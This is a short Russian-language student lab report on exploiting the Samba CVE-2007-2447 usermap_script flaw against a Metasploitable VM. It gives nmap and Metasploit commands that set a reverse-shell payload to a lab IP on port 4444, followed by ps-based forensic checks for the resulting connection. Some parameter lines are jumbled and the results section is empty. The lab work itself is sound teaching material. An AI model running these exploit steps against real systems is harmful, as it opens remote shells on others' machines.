**ЛАБОРАТОРНАЯ РАБОТА №3. ИСПОЛЬЗОВАНИЕ УЯЗВИМОСТИ ПРОТОКОЛА SAMBA: CVE - 2007 - 2447. СЕТЕВАЯ ФОРЕНЗИКА**

**Касаткин Александр Денисович  
11-902**

**Сканирование портов Metasploitable**

1. на виртуальной машине Kali Linux с помощью команды nmap map -p 1-65535 -T4 -A -v 192.168.109.134 2>&1 | tee /var/tmp/scan.txt выполнить сканирование виртуальной машины Metasploitable (далее – машина-жертва), результат сканирования сохранить в файл /var/tmp/scan.txt;

**Активация эксплоита для использования уязвимости CVE - 2007 - 2447**

1. запустить эксплоит, позволяющий использовать уязвимость CVE - 2007 – 2447, с помощью команды use exploit/multi/samba/usermap\_script;
2. вывести список payload, доступных для данного эксплоита, выполнив команду show payloads;
3. set PAYLOAD cmd/unix/reverse;
4. установить значения параметров следующим образом: RHOST MS\_IP, RPORT

192.168.109.134, 445, 192.168.109.132

1. exploit и проверяем результаты whoami

**Форензика**

1. Выявление аномальной активности на машине-жертве.
   1. ps -eaf | grep -v grp | grep 4444 >> /var/tmp/samba.txt
   2. ps -eaf | grep 5559 | grep -v grep
   3. ps -eaf | grep 5560 | grep -v grep

ip 192.168.109.132

port 4444

Результат:

